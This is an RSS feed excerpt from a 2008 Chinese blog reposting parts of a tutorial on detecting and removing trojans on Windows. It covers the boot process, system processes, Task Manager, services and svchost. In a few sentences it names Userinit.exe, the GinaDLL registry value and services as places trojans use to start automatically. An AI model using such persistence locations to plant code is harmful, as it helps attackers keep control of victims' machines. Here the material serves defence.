<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">加载</span><font face="Times New Roman">Win32k.sys</font><span style="font-family: 宋体">，这个东西又是做什么的呢？这是一个内核模式的系统驱动程序，它负责了窗口的显示、屏幕的输入、鼠标键盘和其它设备的输入及消息的传递等。所以也是由</span><font face="Times New Roman">Win32k.sys</font><span style="font-family: 宋体">将显示器的分辩率设置为默认值的，也就是这个时候，咱们的计算机屏幕才真正的细致起来，在此以前都是</span><font face="Times New Roman">VGA</font><span style="font-family: 宋体">模式，当然了视频驱动是上面装载驱动程序时就已经加载了的，现在只是起到作用而已。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">再然后呢，就是启动我们上面说过的那两个进程了。就是</span><font face="Times New Roman">Csrss.exe</font><span style="font-family: 宋体">与</span><font face="Times New Roman">Winlogon.exe</font><span style="font-family: 宋体">进程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">启动完这两个进程后，</span><font face="Times New Roman">Smss.exe</font><span style="font-family: 宋体">就进入了无限的等待，它在等什么呢？它在等它创建的</span><font face="Times New Roman">Csrss.exe</font><span style="font-family: 宋体">与</span><font face="Times New Roman">Winlogon.exe </font><span style="font-family: 宋体">，等着看这两个进程什么时候死掉，一旦他们中有死掉的，</span><font face="Times New Roman">Smss.exe</font><span style="font-family: 宋体">马上罢工，让系统彻底崩溃。（在</span><font face="Times New Roman">XP</font><span style="font-family: 宋体">以后</span><font face="Times New Roman">Csrss</font><span style="font-family: 宋体">的死亡是由内核使系统崩溃的，而不是</span><font face="Times New Roman">Smss.exe</font><span style="font-family: 宋体">），所以千万不要结束系统进程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Csrss.exe</font><span style="font-family: 宋体">是做什么的呢？它负责的工作是创建或删除进程、线程，控制台与虚拟</span><font face="Times New Roman">DOS</font><span style="font-family: 宋体">机的支持等。它到此就开始工作了，不再参于后面的启动过程。但是</span><font face="Times New Roman">Winlogon.exe</font><span style="font-family: 宋体">还有很多工作要做呢，我们接下来看看后面的启动过程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">7、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Winlogon.exe</font><span style="font-family: 宋体">是做什么的呢？看它的名字应该看出个大概了吧。是的，它是与登录相关的，但现在还不到显示登录窗口的时候，它还要先启动</span><font face="Times New Roman">Services.exe</font><span style="font-family: 宋体">及</span><font face="Times New Roman">Lsass.exe</font><span style="font-family: 宋体">进程，然后读取注册表</span><font face="Times New Roman">GinaDLL</font><span style="font-family: 宋体">中标明的</span><font face="Times New Roman">DLL</font><span style="font-family: 宋体">，由这个</span><font face="Times New Roman">DLL</font><span style="font-family: 宋体">来显示一个登录对话话，也就是我们在进入系统时输入用户名与口令的窗口。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 63pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">为什么要先启动</span><font face="Times New Roman">Lsass.exe</font><span style="font-family: 宋体">呢？因为，这是本地安全认证子系统，负责的就是本机系统的安全，用户名与口令的验证工作是由它来进行的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 63pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">还有一个我们上面提到过的进程也是这个时候由</span><font face="Times New Roman">Winlogon.exe</font><span style="font-family: 宋体">来启动的，是哪一个呢？就是那个</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">，这是在用户登录进系统后，</span><font face="Times New Roman">Winlogon.exe</font><span style="font-family: 宋体">启动此进程来进行用户初始化。你也可以自己加一个程序与</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">放在一起，那么，在这个时候</span><font face="Times New Roman">Winlogon.exe</font><span style="font-family: 宋体">会将那一位置的所有程序都启动起来。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 63pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当然了，相信你也想到了，这个还有那个</span><font face="Times New Roman">GinaDLL</font><span style="font-family: 宋体">也就成了木马启动的一个可选位置。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">8、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span><span style="font-family: 宋体">最后，由</span><font face="Times New Roman">Winlogon.exe</font><span style="font-family: 宋体">启动的</span><font face="Times New Roman">Services.exe</font><span style="font-family: 宋体">开始加载标明为自启动的各个服务，及标明为手动的却是有必要加载的服务（它所做的工作我们在后面细讲）。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">9、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span><span style="font-family: 宋体">而</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">呢，它在完成用户初始化后，就启动了</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">，并功成身退。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 57.75pt; text-indent: -36.75pt; line-height: 150%; tab-stops: list 57.75pt"><font face="Times New Roman">10、<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span><span style="font-family: 宋体">最后，</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">就成了我们的服务员，等待在那里静候我们的指令，听从我们的吩咐，进行相关程序的启动与功能的处理。</span></p>
<br />
 <br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">看完系统的启动过程后，我们再回过头去看那个进程图，是不是明白了很多呢？除掉系统启动环节中启动的进程外，我们再看其它的进程，注意看一下儿，剩余的进程是不是都是由</span><font face="Times New Roman">Services.exe </font><span style="font-family: 宋体">或　</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">中的一个启动的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">是系统的</span><font face="Times New Roman">Shell</font><span style="font-family: 宋体">程序，响应用户的请求，并执行对应的程序的工作就是由它来完成的，比如上面我们说过的，您想画图时，将画图程序启动起来的就是这个程序。你想上网时，将浏览器启动起来的也是它。当然了，一些用户的自动任务也是由它来完成启动过程的。（这些我们将在下面的自启动程序一章中详细讲解）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Services.exe</font><span style="font-family: 宋体">是系统的服务控制管理器，由它启动的进程称为&#8220;服务&#8221;，是一组特殊的进程。此类进程是开机自动运行的，不依赖于用户的交互，说白了就是不用您管，它自己就会运行并且开始自己的工作，工作过程也无须您的干预。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">说到这里，您可能会想，这不就是木马所需要的么？不错，有很多木马是以服务进程的形式存在的。那我们可以管理这些服务吗？答案是肯定的，我们的计算机，我们当然有权力管理了。看下面的图</span><font face="Times New Roman">03-3</font><span style="font-family: 宋体">：</span></p>
<br />

<p><br />

<p><img height="368" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205222103157367/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
</p>
<br />
 <br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">在桌面上&#8220;我的电脑&#8221;上面按右键，选择&#8220;管理&#8221;就可以打开如上图所示的窗口。依次选择：服务与应用程序</span><font face="Times New Roman">----</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">服务　就可以看到上图右侧的服务列表。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">最左侧的一列是服务的名称，需要注意的是这里列出的并非是对应的程序文件的名称，而仅仅是服务本身的名称。那我们又怎么知道这个服务对应的是哪个程序文件呢？如果我们想停止这个服务，并删除对应的程序文件，我们应该怎么做呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">再看下图</span><font face="Times New Roman">03-4</font><span style="font-family: 宋体">：</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt"><img height="453" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205211348010455/A/1/l.jpg" width="410" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
</p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">在某一个服务上面按鼠标右键，选择&#8220;属性&#8221;，就可以打开此服务对应的属性页面，如上图所示。在这里，我们可以看到一些有用的信息，并对此服务进行启动、停止、禁用等操作。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">最上面的是服务名称，第二列是显示名称，第三列是关于服务的描述，也就是这个服务是做什么用的。当然了，我们不能迷信这里的描述，因为木马可以自行设定这个描述。再下面就是可执行文件的路径，也就是对应的进程与程序文件。这时我们再返回头去看</span><font face="Times New Roman">03-2</font><span style="font-family: 宋体">那个图，看一看进程</span><font face="Times New Roman">PID</font><span style="font-family: 宋体">为</span><font face="Times New Roman">968</font><span style="font-family: 宋体">的进程是不是就是这个&#8220;</span><font face="Times New Roman">svchost.exe &#8211;k netsvcs</font><span style="font-family: 宋体">&#8221;　进程呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">这时再注意一下，又会发现问题，首先，在</span><font face="Times New Roman">03-2</font><span style="font-family: 宋体">图中，</span><font face="Times New Roman">Services.exe</font><span style="font-family: 宋体">启动的服务一共是７个，而在图</span><font face="Times New Roman">03-03</font><span style="font-family: 宋体">中，已经启动的服务却有很多，远不止７个，再挨个儿的查看每个服务的属性，又会发现，有很多服务名称虽然不同，但对应的可执行文件路径（进程）都是一样的，都是&#8220;</span><font face="Times New Roman">svchost.exe &#8211;k netsvcs</font><span style="font-family: 宋体">&#8221;进程，这又是咋回事呢？这里我们要解释一下</span><font face="Times New Roman">Svchost.exe</font><span style="font-family: 宋体">这个进程了，这是一个特殊的进程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">从图</span><font face="Times New Roman">03-1</font><span style="font-family: 宋体">中我们可以看到名字为&#8220;</span><font face="Times New Roman">SVCHOST.EXE</font><span style="font-family: 宋体">&#8221;进程一共是五个，我们没办法区分它们有什么不同。而在图</span><font face="Times New Roman">03-2</font><span style="font-family: 宋体">中，我们再查看这五个</span><font face="Times New Roman">Svchost.exe</font><span style="font-family: 宋体">进程，却可以从参数上来区分它们了，虽然进程名字相同，但它们的参数却各不相同。对了，这就是区分他们的方法了，</span><font face="Times New Roman">Svchost.exe</font><span style="font-family: 宋体">是一个服务的宿主程序或者叫容器程序，它的里面是一组服务，而参数就标明了这一组服务的类型。如果英文不是太差，那么从它的参数上就可以看明白这一组服务是做什么用的了。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211348.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 17:56 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211348.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之进程篇（一）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211346.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 09:54:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211346.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211346.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211346.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211346.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211346.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; line-height: 150%"><strong><span style="font-size: 12pt; color: red; line-height: 150%; font-family: 宋体">三、木马的查杀之进程篇</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><strong><span style="font-size: 12pt; color: red; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></span></strong><strong><span style="color: blue; line-height: 150%; font-family: 宋体">１、进程的查看</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">进程，我们上面说过了，狭义上讲就是正在执行中的程序。那如何来查看系统中都有哪些程序正在执行呢？（先看下图</span><font face="Times New Roman">03-1</font><span style="font-family: 宋体">：）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体"><img height="452" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205251923823396/A/1/l.jpg" width="404" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /></span></p>
<br />
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">（图片编号：</span><font face="Times New Roman">03-1</font><span style="font-family: 宋体">）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">系统自带了一个&#8220;任务管理器&#8221;可以使我们看到系统中当前的进程，在桌面下方的任务栏按右键，选择&#8220;任务管理器&#8221;或同时按下&#8220;</span><font face="Times New Roman">Ctrl</font><span style="font-family: 宋体">　</span><font face="Times New Roman">Alt</font><span style="font-family: 宋体">　</span><font face="Times New Roman">Del</font><span style="font-family: 宋体">&#8221;三个键、或同时按下&#8220;</span><font face="Times New Roman">Ctrl Shift</font><span style="font-family: 宋体">　</span><font face="Times New Roman">ESC</font><span style="font-family: 宋体">&#8221;三个键，都可以打开任务管理器程序，看到上面的窗口。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">看到上面的图时，会不会有点发昏？２０个进程，哪个是好的哪个是坏的呢？上面的信息又都是些什么意思呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">不要着急，让我来教教你怎么来看这些信息。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">首先，显示哪些信息，是可以自由选择的，看到最上面的菜单没？就是&#8220;文件、选项、查看、关机、帮助&#8221;。依次选择&#8220;查看&#8221;</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">&#8220;选择列&#8221;并勾选里面的相应项就可以显示相应的信息。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">我们关心的是前五个，即：映像名称、</span><font face="Times New Roman">PID</font><span style="font-family: 宋体">、</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">、</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">时间、内存使用，下面依次进行介绍。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 宋体">映像名称：即进程所对应的同名程序名字。其中有两个是例外，&#8220;</span><font face="Times New Roman">System</font><span style="font-family: 宋体">&#8221;代表的是系统，并没有对应的同名程序；&#8220;</span><font face="Times New Roman">System</font><span style="font-family: 宋体">　</span><font face="Times New Roman">Idle</font><span style="font-family: 宋体">　</span><font face="Times New Roman">Process</font><span style="font-family: 宋体">&#8221;代表的是空闲进程，同样没有对应的同名程序，它占据了</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">的空闲时间。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们可以依据此栏，来找到进程对应的程序文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman">PID</font><span style="font-family: 宋体">：英文件缩写，即进程的</span><font face="Times New Roman">ID</font><span style="font-family: 宋体">，是一个唯一的数字，唯一的代表一个进程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 21pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们可以依据此栏来区分进程，尤其是同名的进程，比如：</span><font face="Times New Roman">SVCHOST.EXE</font><span style="font-family: 宋体">进程。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">：即该进程当前消耗</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">的百分比，如果某个进程正在工作，那么</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">一列的数值就会是非零，工作量越大，其数值越高。例外的是&#8220;</span><font face="Times New Roman">System</font><span style="font-family: 宋体">　</span><font face="Times New Roman">Idle</font><span style="font-family: 宋体">　</span><font face="Times New Roman">Process</font><span style="font-family: 宋体">&#8221;进程，它的数值越高，说明当前的系统越是空闲，所有进程的</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">一栏的数值相加等于１００％</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">占用。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们可以依据此栏来查看，哪些进程正在工作，哪些进程是空闲的。上面我们说过，同一</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">在同一时间只能处理一个工作，所以如果某一进程长时间大量占用</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">，那么将会导致其它进程得不到或得到很少的</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">时间来处理，使系统反应速度严重迟缓。这种情况的出现，通常是程序出现了问题，我们就要考虑结束掉霸占</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">不放的进程，并尽量查明原因。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">时间：自运行以来，该进程占用的全部</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">时间，此数值越大，代表该进程工作时间越长，注意，不是运行时间而是工作时间，如果运行后，进程只是等待，并没有工作，那么此时间也会很小。例外的仍然是&#8220;</span><font face="Times New Roman">System</font><span style="font-family: 宋体">　</span><font face="Times New Roman">Idle</font><span style="font-family: 宋体">　</span><font face="Times New Roman">Process</font><span style="font-family: 宋体">&#8221;进程，它占据了</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">全部的空闲时间。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们可以据此来判断，哪些进程在一直的工作，而这一直工作的进程是不是应该工作的正常进程。比如我们一直在画图，那画图程序</span><font face="Times New Roman">mspaint.exe</font><span style="font-family: 宋体">的进程</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">时间很长，那就是很正常的；而如果我们在听音乐，从来没画过图，但这里却显示画图程序用了大量的</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">时间，那很可能就是某个黑客或木马或其它进程正在偷偷的使用画图程序呢。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: -21pt; line-height: 150%; tab-stops: list 42.0pt"><span style="font-family: Wingdings">l<span style="font: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 宋体">内存使用：标明了该进程使用的内存数量，要知道，系统中的内存数量是有限的，当某一个进程大量占用内存时，就会导至系统或其它进程可用内存量减少，而至使系统运行速度减慢。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt 42pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">在某些情况下，可以依此来找出系统变慢的原因，并尽量使用占用内存小的程序来提高系统的性能。虽然现在机器的配置都高了，内存也都大了，但在同等条件下，优先考虑使用占用资源少的程序也是有必要的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">要在这些进程中区分哪些是系统进程，哪些不是，用任务管理器显然很难做到，最好的办法是借助专业工具。（看下图：</span><font face="Times New Roman">03-2</font><span style="font-family: 宋体">）</span></p>
<br />
 <br />

<p><img height="369" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205242104940782/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">上图是用反黑工具狙剑查看进程时的样子，狙剑程序的下载地址：</span><span style="font-size: 9pt; color: black; line-height: 150%; font-family: Tahoma"><a href="http://www.zhulinfeng.com/Download/SnipeSword.rar" target="_blank">http://www.zhulinfeng.com/Download/SnipeSword.rar</a>&nbsp;</span><span style="font-family: 宋体">下载后解压缩，运行里面的</span><font face="Times New Roman">SnipeSword.exe</font></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">启动狙剑，并选择&#8220;进程管理&#8221;</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">就可以打开进程管理页面，与任务管理器相比，首先映像文件带了路径，使您可以直接定位到程序文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">其次，多了父</span><font face="Times New Roman">ID</font><span style="font-family: 宋体">一栏，这个标明了该进程是由谁启动的，比如：</span><font face="Times New Roman">smss.exe</font><span style="font-family: 宋体">的进程</span><font face="Times New Roman">ID</font><span style="font-family: 宋体">是</span><font face="Times New Roman">540</font><span style="font-family: 宋体">，父</span><font face="Times New Roman">ID</font><span style="font-family: 宋体">是４　那么，我们就可以知道，</span><font face="Times New Roman">smss.exe</font><span style="font-family: 宋体">是由进程</span><font face="Times New Roman">ID</font><span style="font-family: 宋体">为４的</span><font face="Times New Roman">system</font><span style="font-family: 宋体">进程启动的，而</span><font face="Times New Roman">smss.exe</font><span style="font-family: 宋体">又启动了</span><font face="Times New Roman">csrss.exe </font><span style="font-family: 宋体">与　</span><font face="Times New Roman">winlogon.exe </font><span style="font-family: 宋体">，接着由</span><font face="Times New Roman">winlogon.exe</font><span style="font-family: 宋体">启动了</span><font face="Times New Roman">lsass.exe </font><span style="font-family: 宋体">与　</span><font face="Times New Roman">services.exe </font><span style="font-family: 宋体">。注意，有的进程并没有看到父进程，比如：</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">　它的父</span><font face="Times New Roman">ID</font><span style="font-family: 宋体">是：</span><font face="Times New Roman">1216</font><span style="font-family: 宋体">　但进程中并没有进程</span><font face="Times New Roman">ID</font><span style="font-family: 宋体">为</span><font face="Times New Roman">1216</font><span style="font-family: 宋体">的进程，这是因为系统在初始化时还有一个程序会自动运行，那就是</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">这个程序负责用户初始化工作，并负责启动</span><font face="Times New Roman">Explorer.exe</font><span style="font-family: 宋体">，而工作完成后，它就退出运行了，所以进程中并没有它。最近有个木马是通过感染</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">来启动的，由于</span><font face="Times New Roman">Userinit.exe</font><span style="font-family: 宋体">启动后就退出了，所以通过查看进程很难发现问题，这问题我们将在&#8220;自启动项&#8221;一篇中详细讲解。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">以上就是系统启动的顺序，从</span><font face="Times New Roman">System</font><span style="font-family: 宋体">开始，依次启动了几个进程，正常情况下，上面这几个进程都是系统关键进程，结束它们的运行将导至系统出现问题。</span></p>
<br />

<p><span style="font-size: 10.5pt; font-family: 宋体">有很多朋友对开机以后系统都做了些什么比较感兴趣，而这对系统不能启动时的故障查明也有帮助，可以通过判断系统停在了哪个环节来断定是哪个部分出了问题，在这里，我就对系统的启动过程进行一下简单的说明：<br />
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----<a href="http://musehero.blog.tianya.cn/?idWriter=0&amp;Key=0">MuseHero.blog.tianya.cn</a></span></p>
<img src ="http://www.blogjava.net/viking/aggbug/211346.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 17:54 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211346.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之扫盲篇(转)</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211344.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 09:50:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211344.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211344.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211344.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211344.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211344.html</trackback:ping><description><![CDATA[&nbsp;
<p style="text-indent: 17.9pt; text-align: left" align="left"><strong><span style="color: red; font-family: 宋体">一、前言</span></strong></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">在进入正文之前呢，容我先说几句废话。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">在写此文之前，我曾写过一篇&#8220;高级木马的自我保护技术与查杀之策&#8221;，承蒙各位朋友的厚爱，被各网站所转载，亦曾有许多朋友来信求助。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">由于该文是心血来潮后的随笔所写，所以并没有经过深思熟虑，也并没有脉络可循，至使有的朋友能看懂，有的却看不懂。而看得懂的呢，亦有很大一部分并不能真正的应用文中所提的查杀技巧。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">故一直有心再写一篇文章，帮助深受木马毒害的朋友们了解木马是什么，又如何查杀。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">本文适于下列人员阅读</span><span style="color: black; font-family: 宋体">：</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">能熟练使用计算机的人</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">想自己动手解决问题的人</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">钱没有多到电脑一出问题就扔到电脑修理公司的人</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">适于下列人员参考</span><span style="color: black; font-family: 宋体">：</span></p>
